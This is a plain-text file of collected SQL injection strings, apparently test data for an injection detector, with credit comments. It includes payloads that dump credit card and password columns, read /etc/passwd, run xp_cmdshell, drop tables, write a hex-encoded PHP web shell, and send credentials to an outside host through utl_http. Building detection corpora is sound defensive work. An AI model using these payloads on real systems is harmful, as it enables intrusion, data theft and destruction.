sqli-misc.txt

#
# Misc collected attacks from the wild and beyond....
#
SO_BUY+AND+IF%281%3D1%2CBENCHMARK%281589466%2CMD5%280X41%29%29%2C0%29
SO_BUY%3B+IF+%281%3D1%29+WAITFOR+DELAY+%2700%3A00%3A01%27--
SO_BUY+AND%28SELECT+1+FROM%28SELECT+COUNT%28%2A%29%2CCONCAT%28%28SELECT+%28SELECT+CONCAT%280X7E%2C0X27%2CDATABASE%28%29%2C0X27%2C0X7E%29%29+FROM+%60INFORMATION_SCHEMA%60.TABLES+LIMIT+0%2C1%29%2CFLOOR%28RAND%280%29%2A2%29%29X+FROM+%60INFORMATION_SCHEMA%60.TABLES+GROUP+BY+X%29A%29+AND+1%3D1
SO_BUY+AND%28SELECT+1+FROM%28SELECT+COUNT%28%2A%29%2CCONCAT%28%28SELECT+%28SELECT+CONCAT%280X7E%2C0X27%2CUNHEX%28HEX%28CAST%28DATABASE%28%29+AS+CHAR%29%29%29%2C0X27%2C0X7E%29%29+FROM+%60INFORMATION_SCHEMA%60.TABLES+LIMIT+0%2C1%29%2CFLOOR%28RAND%280%29%2A2%29%29X+FROM+%60INFORMATION_SCHEMA%60.TABLES+GROUP+BY+X%29A%29+AND+1%3D1
PHPX+AND+1%3D1+AND+XX%3DX
PHPX+AND+CHAR%28124%29+USER+CHAR%28124%29%3D0+AND+XX%3DX
SO_BUY%3B+IF+%281%3D1%29+WAITFOR+DELAY+%2700%3A00%3A01%27--%27
SO_BUY%27%3B+IF+%281%3D1%29+WAITFOR+DELAY+%2700%3A00%3A01%27--
materials'%20and%201=1%20and%20''='
materials'%20and%201=2%20and%20''='
1'%20and%20char(124)%2Buser%2Bchar(124)=0%20and%20'%25'='
-999.9'%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536%20and%20'x'='x

# not sql
#5000224%27%20UNION%20user_id%3E0--

-5000224%27%20UNION%20select%20user_id%20from%20users%20where%20user_id%3E0//

# not sql
#-5000224%27%20UNION%20user_id%3E0--
5000224%27%20or%201=1--
8+and+1=1--
8+order+by+1--
8-999.9+union+select+0
9-999.9+union+select+0--
6334588%00%27%7C%7CSLEEP%283%29%26%26%271
6334588%20AND%20BENCHMARK%282999999%2CMD5%28NOW%28%29%29%29
6334588%26%26SLEEP%283%29
6334588%27%20AND%20BENCHMARK%282999999%2CMD5%28NOW%28%29%29%29%20AND%20%271
6334588%27%20AND%20SLEEP%283%29%20AND%20%271
6402272%27%20%61%6E%64%20%27%36%27%3D%27%356402272%27%20%61%6E%64%20%27%36%27%3D%27%366444930%20%61%6E%64%20%36%3D%35
6444930%20%61%6E%64%20%36%3D%36
6444930%27%20%61%6E%64%20%27%36%27%3D%27%35
6444930%27%20%61%6E%64%20%27%36%27%3D%27%36
FOO%29%29+AND+UPDATEXML%281025%2CCONCAT%280X2E%2C0X3A7676693A%2C%28SELECT+%28CASE+WHEN+%281025%3D1025%29+THEN+1+ELSE+0+END%29%29%2C0X3A7471773A%29%2C7573%29+AND+%28%283045%3D3045
1+%2B+%28SELECT+6744+FROM+DUAL+WHERE+3176%3D3176+AND+3761%3D5879%23+%29
1234.5%29+ORDER+BY+1
FOO%2C%28SELECT+%28CASE+WHEN+%284831%3D4831%29+THEN+1+ELSE+1%2F%28SELECT+0%29+END%29%29
FOO%29%3B+IF%28%286681%3D9099%29%2CSELECT+6681%2CDROP+FUNCTION+CGIQ%29%3B%23+AND+%284596%3D4596
FOO%2C%28SELECT+%28CASE+WHEN+%284763%3D4974%29+THEN+FOO+ELSE+4763%2A%28SELECT+4763+FROM+MYSQL.DB%29+END%29%29
FOO%29+WHERE+9060%3D9060+AND+UPDATEXML%281025%2CCONCAT%280X2E%2C0X3A7676693A%2C%28SELECT+%28CASE+WHEN+%281025%3D1025%29+THEN+1+ELSE+0+END%29%29%2C0X3A7471773A%29%2C7573%29
FOO%29%29%29+AND+3787%3DCONVERT%28INT%2C%28CHAR%2858%29%2BCHAR%28118%29%2BCHAR%28118%29%2BCHAR%28105%29%2BCHAR%2858%29%2B%28SELECT+%28CASE+WHEN+%283787%3D3787%29+THEN+CHAR%2849%29+ELSE+CHAR%2848%29+END%29%29
FOO+%2B+%28SELECT+9350+WHERE+8850%3D8850+AND+3963%3D4777--++%29
FOO%29+AND+4499%3D8923%23
FOO%2CIIF%282510%3D9436%2CFOO%2C1%2F0%29
FOO%29%29%3B+IF%28%288708%3D3788%29%2CSELECT+8708%2CDROP+FUNCTION+RIHR%29%3B%23+AND+%28%286571%3D6571
FOO%29%29%29%3B+IF%28%289256%3D5702%29%2CSELECT+9256%2CDROP+FUNCTION+IRII%29%3B%23+AND+%28%28%283502%3D350
%28SELECT+2299%3D%28%27%3AJQA%3A%27%7C%7C%28SELECT+CASE+2299+WHEN+2299+THEN+1+ELSE+0+END+FROM+RDB%24DATABASE%29%7C%7C%27%3AUGJ%3A%27%29%29
%28SELECT+2811+FROM%28SELECT+COUNT%28%2A%29%2CCONCAT%280X3A6A71613A%2C%28SELECT+%28CASE+WHEN+%282811%3D2811%29+THEN+1+ELSE+0+END%29%29%2C0X3A75676A3A%2CFLOOR%28RAND%280%29%2A2%29%29X+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+X%29A%29
FOO%2CEXTRACTVALUE%288571%2CCONCAT%280X5C%2C0X3A7676693A%2C%28SELECT+%28CASE+WHEN+%288571%3D8571%29+THEN+1+ELSE+0+END%29%29%2C0X3A7471773A%29%29
%28CASE+WHEN+4518%3D5617+THEN+1+ELSE+NULL+END%29
FOO%29%29%3B+SELECT+PG_SLEEP%285%29%3B--
FOO%29%29%29%3B+BEGIN+DBMS_LOCK.SLEEP%285%29%3B+END%3B--+AND+%28%28%288410%3D8410
FOO%29%29+WAITFOR+DELAY+%270%3A0%3A5%27--+AND+%28%282114%3D2114
FOO%29%29%29+WAITFOR+DELAY+%270%3A0%3A5%27--+AND+%28%28%281285%3D1285
FOO+WAITFOR+DELAY+%270%3A0%3A5%27--
1+order+by+1
FOO%2C%28CAST%28CHR%2858%29%7C%7CCHR%28118%29%7C%7CCHR%28118%29%7C%7CCHR%28105%29%7C%7CCHR%2858%29%7C%7C%28SELECT+%28CASE+WHEN+%281861%3D1861%29+THEN+1+ELSE+0+END%29%29%3A%3ATEXT%7C%7CCHR%2858%29%7C%7CCHR%28116%29%7C%7CCHR%28113%29%7C%7CCHR%28119%29%7C%7CCHR%2858%29+AS+NUMERIC%29%29
%28SELECT+GENERATE_SERIES%28FOO%2CFOO%2CCASE+WHEN+%289255%3D9830%29+THEN+1+ELSE+0+END%29+LIMIT+1%29
-999.9+UNION+ALL+SELECT+%27R3DM0V3_HVJ_INJECTION%27%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL--
999999.9+UNION+ALL+SELECT+%27R3DM0V3_HVJ_INJECTION%27%2CNULL--
-999.9+UNION+ALL+SELECT+%27R3DM0V3_HVJ_INJECTION%27--
-999.9+UNION+ALL+SELECT+%28SELECT+CAST%28CHAR%28114%29%2BCHAR%2851%29%2BCHAR%28100%29%2BCHAR%28109%29%2BCHAR%2848%29%2BCHAR%28118%29%2BCHAR%2851%29%2BCHAR%2895%29%2BCHAR%28104%29%2BCHAR%28118%29%2BCHAR%28106%29%2BCHAR%2895%29%2BCHAR%28105%29%2BCHAR%28110%29%2BCHAR%28106%29%2BCHAR%28101%29%2BCHAR%2899%29%2BCHAR%28116%29%2BCHAR%28105%29%2BCHAR%28111%29%2BCHAR%28110%29+AS+NVARCHAR%284000%29%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL--
999.9+UNION+ALL+SELECT+%28SELECT+CAST%28CHAR%28114%29%2BCHAR%2851%29%2BCHAR%28100%29%2BCHAR%28109%29%2BCHAR%2848%29%2BCHAR%28118%29%2BCHAR%2851%29%2BCHAR%2895%29%2BCHAR%28104%29%2BCHAR%28118%29%2BCHAR%28106%29%2BCHAR%2895%29%2BCHAR%28105%29%2BCHAR%28110%29%2BCHAR%28106%29%2BCHAR%28101%29%2BCHAR%2899%29%2BCHAR%28116%29%2BCHAR%28105%29%2BCHAR%28111%29%2BCHAR%28110%29+AS+NVARCHAR%284000%29%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL--
999999.9+UNION+ALL+SELECT+CHR%28114%29%7C%7CCHR%2851%29%7C%7CCHR%28100%29%7C%7CCHR%28109%29%7C%7CCHR%2848%29%7C%7CCHR%28118%29%7C%7CCHR%2851%29%7C%7CCHR%2895%29%7C%7CCHR%28104%29%7C%7CCHR%28118%29%7C%7CCHR%28106%29%7C%7CCHR%2895%29%7C%7CCHR%28105%29%7C%7CCHR%28110%29%7C%7CCHR%28106%29%7C%7CCHR%28101%29%7C%7CCHR%2899%29%7C%7CCHR%28116%29%7C%7CCHR%28105%29%7C%7CCHR%28111%29%7C%7CCHR%28110%29--
CAT1_GALLERY_1+UNION+ALL+SELECT+%28SELECT+CAST%28CHAR%28114%29%2BCHAR%2851%29%2BCHAR%28100%29%2BCHAR%28109%29%2BCHAR%2848%29%2BCHAR%28118%29%2BCHAR%2851%29%2BCHAR%2895%29%2BCHAR%28104%29%2BCHAR%28118%29%2BCHAR%28106%29%2BCHAR%2895%29%2BCHAR%28105%29%2BCHAR%28110%29%2BCHAR%28106%29%2BCHAR%28101%29%2BCHAR%2899%29%2BCHAR%28116%29%2BCHAR%28105%29%2BCHAR%28111%29%2BCHAR%28110%29+AS+NVARCHAR%284000%29%29%29%2CNULL--
1 - ORD('A')
TRUE DIV(SELECT ORD(LEFT
TRUE DIV(SELECT (ORD(LEFT
TRUE DIV(SELECT ((ORD(LEFT
1 DIV(SELECT ORD(LEFT
1 DIV(SELECT (ORD(LEFT
0 UNION SELECT (1),2,3
1 AND (SELECT TOP 10 USERNAME FROM USERS);
1 AND SELECT 1 FROM T.TRANS_DATE -- 1
1 AND (SELECT 1 FROM T.TRANS_DATE -- 1
1 GROUP BY 1 HAVING 1 = 1
1 GROUP BY 1 HAVING '1' = 1
1 GROUP BY 1,TRANSID,ACCOUNTID HAVING 1=1
1 AND SELECT TOP 10 USERNAME FROM USERS -- 1
1001 union(select userid, ccnumber, '3', '4' from credit_cards)
1001 union((select userid, ccnumber, '3', '4' from credit_cards))
1001 union/*/**/*/select userid, ccnumber, '3', '4' from credit_cards
1001 or 'A' = 'B' union select userid, ccnumber, '3', '4' from credit_cards
'6334588?'||SLEEP(3)&&'1
1001*/*!50000(1)union*/all(select 1,ccnumber,3,4 from credit_cards)
1001*/*!50000(1)union select 1,ccnumber,load_file('/etc/passwd'),4 from credit_cards*/
(1001)union select-1,ccnumber,3,4 from credit_cards
(1001)union select (1),ccnumber,3,4 from credit_cards
(1001)union select @a,ccnumber,3,4 from credit_cards
1001-\N%0aunion select 1,ccnumber,3,4 from credit_cards
1001 sounds like '1001' union select 1,ccnumber,3,4 from credit_cards
1001-'text' union select 1,ccnumber,3,4 from credit_cards
1001%2b@a union select 1,load_file('/etc/passwd'),3,4 from credit_cards
((1001)-1) union select 1,2,3,4 from credit_cards
1001'-@a union select 1,2,3,4 from credit_cards-- -
'1001'-@a union select 1,2,3,4 from credit_cards
((1001)-1) union select 1,2,3,4 from credit_cards
1001 rlike(-1)union select 1,2,3,4 from credit_cards
## 1001 ----1 union select 1,2,3,4 from credit_cards
1001 or 'foo' union select 1,2,3,4 from credit_cards
1001 and @a union select 1,2,3,4 from credit_cards
1001 like @a-1 union select 1,2,3,4 from credit_cards
1001-\N-\N union select 1,2,3,4 from credit_cards
(1001-\N-\N) union select 1,2,3,4 from credit_cards
(1001-\N)-\N union select 1,2,3,4 from credit_cards
1001-\N union select 1,2,3,4 from credit_cards
1001-true union select 1,2,3,4 from credit_cards
(1001-true) union select 1,2,3,4 from credit_cards
(1001-'1') union select 1,2,3,4 from credit_cards
(1001-@version) union select 1,2,3,4 from credit_cards
1-(1001-true) union select 1,2,3,4 from credit_cards
1001-false-false union select 1,2,3,4 from credit_cards
1001-false-NULL union select 1,2,3,4 from credit_cards
1001 rlike(1-NULL)union select 1,2,3,4 from credit_cards
1001 rlike(1-(NULL))union select 1,2,3,4 from credit_cards
(1)-'1' union select 1,2,3,4 from credit_cards
(1)-@version union select 1,2,3,4 from credit_cards
(@version)-@version union select 1,2,3,4 from credit_cards
(@version)-1 union select 1,2,3,4 from credit_cards
(@version)-'1' union select 1,2,3,4 from credit_cards
@version-@version union select 1,2,3,4 from credit_cards
@version-1 union select 1,2,3,4 from credit_cards
@version-'1' union select 1,2,3,4 from credit_cards
('1')-'1' union select 1,2,3,4 from credit_cards
1001 rlike(-1-1)union select 1,2,3,4 from credit_cards
1001 rlike(1-1)union select 1,2,3,4 from credit_cards
1001 rlike(@version)union select 1,2,3,4 from credit_cards
1001 rlike(@version-1)union select 1,2,3,4 from credit_cards
1001 rlike(1-@version)union select 1,2,3,4 from credit_cards
1001 rlike('1')union select 1,2,3,4 from credit_cards
# vv new variations 2013-04-10 nickg vv
1001 RLIKE ((1)) UNION SELECT 1 FROM CREDIT_CARDS
1001 RLIKE ((-1)) UNION SELECT 1 FROM CREDIT_CARDS
1001 RLIKE ((-"1")) UNION SELECT 1 FROM CREDIT_CARDS
1001 RLIKE (-(1)) UNION SELECT 1 FROM CREDIT_CARDS
1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS

# http://vagosec.org/2013/04/mysql-implicit-type-conversion/
# a'+'b encoded is a%27%2B%27b
a%27%2B%27b
' OR 1='1

# new variations
X' != 'Y' = 0 = '1
X' = 'X' = 0 = '1
X' = 'X' = 'X' = 0 = '1
X' - 'Y' - 0 = '1

# part of parameter pollution
1) FROM USERS WHERE USERNAME=

# nest pgsql mssql comments
1/* /*/ */ */ or 1=1-
1/* /* / */ */ or 1=1-

# small sqli
1--
1 --
1  --
1/*
1 /*
1  /*
1*1--
1 * 1--
1 * 1 --
1*1/*
1 * 1/*
1 * 1 /*
1 * 1  /*
@version--
@@version--
@version --
@version /*
@version/*

# thanks @d0znpp
(select id from users limit 1,1)
(select id-0 from users limit 1,1)
# known bypass.. for now!
(select id,id,id,id from users limit 1,1)

# some variations
'1' union (select id from users limit 1,1)
1 union (select id from users limit 1,1)
xxx union (select id from users limit 1,1)
@version union (select id from users limit 1,1)

'1' union (select 1 from users limit 1,1)
1 union (select 1 from users limit 1,1)
xxx union (select 1 from users limit 1,1)
@version union (select 1 from users limit 1,1)

'1' union (select xxx from users limit 1,1)
1 union (select xxx from users limit 1,1)
xxx union (select xxx from users limit 1,1)
@version union (select xxx from users limit 1,1)

'1' union (select 's' from users limit 1,1)
1 union (select 's' from users limit 1,1)
xxx union (select 's' from users limit 1,1)
@version union (select 's' from users limit 1,1)

# thanks @LightOS
-1 union(((select table_name from information_schema.tables limit 1,1)))
'1' union(((select table_name from information_schema.tables limit 1,1)))
@foo union(((select table_name from information_schema.tables limit 1,1)))
id union(((select table_name from information_schema.tables limit 1,1)))

# and again @LightOS
test'-1/1/**/union(select table)
test'-1 union(select table)
test'-@version union (select table)
test'-'xyz' union (select table)
1- @version union(select table_name from information_schema.tables limit 1,1)
1- 'xxx' union(select table_name from information_schema.tables limit 1,1)
1- union(select table_name from information_schema.tables limit 1,1)
@version - @version union(select table_name from information_schema.tables limit 1,1)
@version- 'xxx' union(select table_name from information_schema.tables limit 1,1)
@version - 5 union(select table_name from information_schema.tables limit 1,1)

#
1 into outfile 'asd'
1 into outfile 'asd'--
'1' into outfile 'asd'
'1' into outfile 'asd' --
@version into outfile 'asd'
@version into outfile 'asd' --

1 into outfile ('asd')
'1' into outfile ('asd')
@version into outfile ('asd')

1 into outfile substring('asd', 10, 1)
'1' into outfile substring('asd', 10, 1)
@version into outfile substring('asd', 10 1)

1 into outfile (substring('asd', 10, 1))
'1' into outfile (substring('asd', 10, 1))
@version into outfile (substring('asd', 10 1))

%28select+substr%0D%0A%28login%0D%0A%0D%0A%29%0D%0Afrom+users+limit+1%2C1%29
union%20%28select+id+from+users+limit+1%2C1%29

#
# This is not valid SQL but designed to force a syntax error
# http://www.modsecurity.org/testphp.vulnweb.com/listproducts.php?cat=1%0Aand+current_user=notthere()
1%0Aand+current_user=notthere()
1%0Aand+current_user=1
1%0Aand+current_user=@version
1%0Aand+current_user='junk'
1%0Aand+current_user=foo



1--%0a+union%0C-%28%20select+table_name+from+information_schema.tables+limit+1%2C1%29
1'--%0a+union%0C-%28%20select+table_name+from+information_schema.tables+limit+1%2C1%29
@version--%0a+union%0C-%28%20select+table_name+from+information_schema.tables+limit+1%2C1%29

-.1a%20union%20%28select+id+from+users+limit+1%2C1%29

case 1 when 2 then 2 end
case sin(1) when 2 then 2 end
case '1' when 2 then 2 end
case 1 when 's' then 2 end
case when 2 then 3 end
case when 's' then 3 end
case when f(1) then 3 end

-1 union select table_name asda from information_schema.tables
-1 union select table_name "asda" from information_schema.tables
-1 union select table_name `asda` from information_schema.tables
-1 union select table_name as asda from information_schema.tables
-1 union select table_name as "asda" from information_schema.tables
-1 union select table_name as `asda` from information_schema.tables

a'and(select(binary(/*!system_user()*/)))like'reading%25

-1 union select @``"", table_name from information_schema.tables
'foo' union select @``"", table_name from information_schema.tables
@version union select @``"", table_name from information_schema.tables

select @version foo
select @version "foo"
select @version foo -- junk
select @version "foo" -- junk

$$pgsql evade$$ union select * from foo
$foo$pgsql evade$foo$ union select * from foo

u&'pgsql evade' union select * from foo
U&'pgsql evade' union select * from foo

U&'pgsql evade' uescape '!' union select * from foo

_latin1'foo' union select * from foo
_LATIN7'foo' union select * from foo
_utf8'foo' union select * from foo

REAL 1 union select * from foo
1::REAL union select * from foo
1::REAL::REAL union select * from foo

-1 union select @``"", table_name from information_schema.tables
!~1 union select table_name from information_schema.tables
-1 union select @a`from 1`, table_name from information_schema.tables
version() union select table_name from information_schema.tables
-1 LOCK IN SHARE MODE UNION SELECT table_name from information_schema.tables
1 is unknown union select table_name from information_schema.tables
true is not unknown for update union select table_name from information_schema.tables
1 for update union select 1

# ht/ TK
(true)-(true)union select table_name from information_schema.tables
(@a)-(@a)union select table_name from information_schema.tables

# ht/ @stamparm
1 OR (1 OR 1)--
(1) OR (1 OR 1)--
((1) OR (1 OR 1))--
((1) OR ((1 OR 1)))--
1 OR ((1 OR 1)) --
1 OR ((1) OR 1) --

# ht/ @stamparm
(@x OR @y) UNION ALL SELECT name,email,password FROM users-- 
(@x OR (@y)) UNION ALL SELECT name,email,password FROM users-- 
((@x) OR @y) UNION ALL SELECT name,email,password FROM users-- 
(@x) OR (@y) UNION ALL SELECT name,email,password FROM users-- 
@x) OR (@y) UNION ALL SELECT name,email,password FROM users-- 
@x OR (@y) UNION ALL SELECT name,email,password FROM users--

# ht/ @stamparm
(SELECT 1 FROM DUAL)
(SELECT @a FROM DUAL) UNION ALL SELECT 1, 2, 3--
(SELECT (1) FROM DUAL)
(select @version from dual)
(select (@version - 1) from dual)
(select ('foo' - 1) from dual)
(select 'foo' from dual)
(select 1 foobar from dual)

# previously had problems with operators made from two words
# ht/@stamparm
1 and 1 not between 0 and 1
1 AND 1 SOUNDS LIKE 1
1 AND 1 NOT LIKE 0

(1 AND 1) OR 2>1--

# ht/@FluxReiners
'-(1 or 1) and 1=0 union select load_file('/etc/passwd'),credit_card,password from users-- -
'-(-1 or -1) and 1=0 union
'-(-(1) or -1) and 1=0 union
'-((1) or -1) and 1=0 union

# https://twitter.com/dsrbr/status/342132003270959104
-1 union select null, listagg(login || ':' || pass,', ') within group (order by login) from users;
-1 union select null, xmlagg(xmlelement("user",login || ':' || pass).getStringVal() from users;
-1 union select null, stragg(login || ':' || pass ||', ') from users;

-1 union select listagg(login || ':' || pass,', ') within group (order by login) from users;

#ht ivan
users.id%0D%0A%23asd%0D%0Aunion%0D%0A%23asd%0D%0Aselect%0D%0A%23asd%0D%0A--a-%0D%0A%23aaa%0D%0Aaa+%0D%0A%23asd%0D%0A--a-%0D%0A%23aaa%0D%0Afrom%0D%0A%23asd%0D%0A--a-%0D%0A%23aaa%0D%0Aasdasd

# http://samincube.blogspot.ru/2013/06/time-based-sqli-on-google-coupon.html
1'=sleep(1)='1

# https://twitter.com/dsrbr/status/343017094926962691
1 and select (utl_http.request('http://client9.com/') || select listagg(login || chr(58) || pass || ', ') within group  (order by login)  from dual) is not null;

# https://twitter.com/dsrbr/status/341228356936814592
-1 union select top 1 null, lead(pass, 0) over (order by pass) from users;

# https://twitter.com/dsrbr/status/340018970054766592
-1 union select null, array_to_json(array_agg(users))::text from users limit 1;
1 and (select array_to_json(array_agg(users))::text::bool from users limit 1;

# http://www.exploit-db.com/exploits/25915/
' UNION SELECT 0x3c3f7068702073797374656d28245f4745545b227272225d293b3f3e,null,null,null,null,null,null,null,null,null,null,null,null,null INTO OUTFILE 'afile.php'

# http://blog.detectify.com/post/51651525114/the-ultimate-sql-injection-payload
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/

# misc secondary sql statements
1 and true; BEGIN DECLARE @xy varchar(8000)
1; BEGIN DECLARE @xy varchar(8000)
x' and 1 = 0; BEGIN DECLARE
x' AND 1=0; DROP TABLE TMP_DB;
' AND 1=0; DECLARE @S VARCHAR(4000) SET @S

' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE 

# https://twitter.com/st1ll_di3/status/344416764949561346
# http://pastebin.com/Ymcs7nE0
(--- 0)'=(currenT_user()-3) union select 1,2,3 from users; -- -

# example from http://www.websec.ca/kb/sql_injection
1=1 AND-+-+-+-+~~((1))

# the bizarre sp_password hackery
1-- foo sp_password
1'--sp_password

# nice ms-access, courtesy mod-security
foo' Eqv StrComp(username, 0x12+0x34+0xab+0xcd,0) Imp 'a

# mysql and pgsql string litterals
b'1' UNION SELECT 1
x'1' UNION SELECT 1
n'1' UNION SELECT 1

# ending clauses
1 having 1 limit 1 union select 1--
1 having (1) limit 1 union select 1--
1 having -(1) limit 1 union select 1--
1 having sin(1) limit 1 union select 1--
1 having 1 limit 2 group by 3 union select 1--
1 group by 2 union select 1 --
sin(1) group by 1 union select 1--
@version group by 1 union select 1--
@version group by (-1) union select 1--
(@version) group by -1 union select 1--
(@version) group by (-1) union select 1--
(@version)) group by (-1) union select 1--
(1)) group by (-1) union select 1--
(@version) group by sin(-1) union select 1--
1 group by sin(1) union select 1--
1 group by 1 - sin(1) union select 1--
1 group by (sin(1)) union select 1--
-1 group by -(-sin(1)) union select 1--
sin(1) group by (-sin(1)) union select 1--
sin(1)-1 group by (-sin(1)) union select 1--
sin(1)-1 group by 1 union select 1--
1 group by ((1)) union select 1--
1 group by (((1))) union select 1--
((1)) group by (1) union select 1--
(1) group by ((1)) union select 1--
(1) group by (1) union select 1--

# more with 'having'
-(1) is not unknown having 1 order by 1 limit 1 for update  UNION select table_name from information_schema.tables limit 1
-(1) is not unknown  UNION select table_name from information_schema.tables limit 1
-(1) is not unknown  for update  UNION select table_name from information_schema.tables limit 1
-(1) is not unknown having 1 order by 1 limit 1  UNION select table_name from information_schema.tables limit 1
-(1) is not unknown having 1  UNION select table_name from information_schema.tables limit 1
-(1) is not unknown UNION select table_name from information_schema.tables limit 1
-(1) is not unknown having 1 UNION select table_name from information_schema.tables limit 1
-(1) is unknown having 1 UNION select table_name from information_schema.tables limit 1
-(1) for update  UNION select table_name from information_schema.tables limit 1
1 for update UNION select table_name from information_schema.tables limit 1

-(1) for update UNION select table_name from information_schema.tables limit 1
-(true) for update UNION select table_name from information_schema.tables limit 1
-(null) for update UNION select table_name from information_schema.tables limit 1
-(\N) for update UNION select table_name from information_schema.tables limit 1
-(\N) for update having true UNION select table_name from information_schema.tables limit 1
-(\N) for update having 1 UNION select table_name from information_schema.tables limit 1
-(1) for update having 1 UNION select table_name from information_schema.tables limit 1
-(1)  having 1 for updateUNION select table_name from information_schema.tables limit 1
-(1)  having 1 for update UNION select table_name from information_schema.tables limit 1
-(1) having 1 for update UNION select table_name from information_schema.tables limit 1

\''; DROP TABLE users; --
\''); DROP TABLE users; --
\''; /* one */ ;DROP TABLE users; --
\''; select 1; drop table users; --
1; USE master; EXEC xp_cmdshell 'copy c:\SQLbcks\AdvWorks.bck
1; EXECUTE AS LOGIN 'root'; GO xp_cmdshell 'whoami.exe' ; REVERT ;
1; USE master; EXEC xp_cmdshell 'copy c:\SQLbcks\AdvWorks.bck
1); USE master; EXEC xp_cmdshell 'copy c:\SQLbcks\AdvWorks.bck

EXEC sp_add_job @job_name = 'TestJob';
EXECUTE sp_add_job @job_name = 'TestJob';
1;EXECUTE sp_add_job @job_name = 'TestJob';
1;print 'foo'; exec xp_cmdshell 'destroy';

# nested sub-selects
-1 - (select (1 - select (select 1))) union all select 2 --
-1 - (select 1) - union all select 2 --
(select 1) - 1 union all select 2 --
((select 1) - 1) + (select 1) union all select 2 --
(select (select (select 1))) union all select 2 --
(select (select (select 1))) union all select 2 --
(select ((select (select 1))) union all select 2 --
(select (select ((select 1))) union all select 2 --
(select ((select 1 - (select 1))) union all select 2 --
(select (select (((select 1))) union all select 2 --
(select ((select (select 1))) union all select 2 --
(select (((select (select 1))) union all select 2 --
(select (select (1 - select 1))) union all select 2 --
(select (select 1 - (select 1))) union all select 2 --
(select 1 - (select 1 - (select 1))) union all select 2 --

# moar unions
-1 union distinct select table_name from information_schema.tables
-1 union distinct all select table_name from information_schema.tables
-1 union all distinct select table_name from information_schema.tables
-1 union all select table_name from information_schema.tables

# more
if(1, -1, 2) union select table_name from information_schema.tables limit 1
if((1), -1, 2) union select table_name from information_schema.tables limit 1
if(1=2, -1, 2) union select table_name from information_schema.tables limit 1
true in(2, (select 2)) union select table_name from information_schema.tables limit 1
true in(2, 1) union select table_name from information_schema.tables limit 1

#
-1 union select current_user``union select table_name from information_schema.tables

if(1, 1, 2) union select 3
if(sin(1), 1, 2) union select 3
if(1, sin(1), 2) union select 3
if(1 - sin(1), 2) union select 3
if((1), 1, 2) union select 3
if(-(1), 1, 2) union select 3

#
1; if exists ( /* anything */

# these aren't SQL but close enough
union (select 1)--
union all (select 1)--
union all (select distinct 1)--
union (select 1,2,3,4,5)--
union (select -1,2,3,4,5)--
union (select -(1),2,3,4,5)--
union (select -sin(1),2,3,4,5)--
1;call p(@version, @a)
1;load data infile "foo"
1;load xml infile "foo"
1;load xml local infile "foo"
1;load xml low_priority infile "foo"
1;load xml concurrent infile "foo"
1; delete from foo
1; delete low_priority from foo
1; delete quick from foo
1; delete ignore from foo


1;do (1=1)

-0b01 for update union select table_name from information_schema.tables limit 1
binary _latin1 'true' COLLATE latin1_german2_ci is not unknown union select table_name from information_schema.tables
binary true COLLATE latin1_german2_ci union select table_name from information_schema.tables
1<binary 1>2 union select table_name from information_schema.tables limit 1
binary 1 < binary 2 > binary 3 union select table_name from information_schema.tables limit 1

binary (false) union select table_name from information_schema.tables limit 1
1 - binary (false) union select table_name from information_schema.tables limit 1
1 - (binary (false)) union select table_name from information_schema.tables limit 1
binary binary 1 union select table_name from information_schema.tables
binary -1 union select table_name from information_schema.tables
binary -(1) union select table_name from information_schema.tables
binary (binary 1) union select table_name from information_schema.tables
binary (binary 1) union select table_name from information_schema.tables

# werid slash escaping in Older T-SQL databases
# http://websec.ca/kb/sql_injection#MSSQL_Allowed_Intermediary_Chars_AND-OR
\1=\1AND\1=\1;

# more weird T-SQL weirdness
\%250=\-1AND\*1=\/1

# mysql
-1 procedure analyse() union select table_name from information_schema.tables limit 1

# HT @FluxReiners
(1)mod @a or 1 union select load_file('/etc/passwd'),credit_card,passwd from users-- -
@a mod (1) or 1 union select load_file('/etc/passwd'),credit_card,passwd from users-- -

# HT @LightOS
# issue here is how '1gfsdg..' is processed.
# MySQL parses it as a single word, other databases treat it as "1", "gfs..."
-1 procedure analyse(1gfsdgfds, sfg) union select table_name from information_schema.tables limit 1

# HT @FluxReiners
(select 1 foo) union select load_file('foo');

#
# Anonymous from  Research Institution of Telecom in Beijing, China
#  commenting out since i have no idea how this could be a true SQL injection
#=1 union select admin,pass from admin limit 1
#=1 union select 1,2,3,4,5,6

# problems with type-casting, and nested type casting
#
# credit: Reto Ischi
#
's' || binary(1)# and n='foo"
1 - binary (1 - binary(1)) UNION SELECT 2 --
1 - binary (binary(1) -1) UNION SELECT 2 --
binary (1 - binary(1)) UNION SELECT 2 --
binary (binary(1) - 1) UNION SELECT 2 --
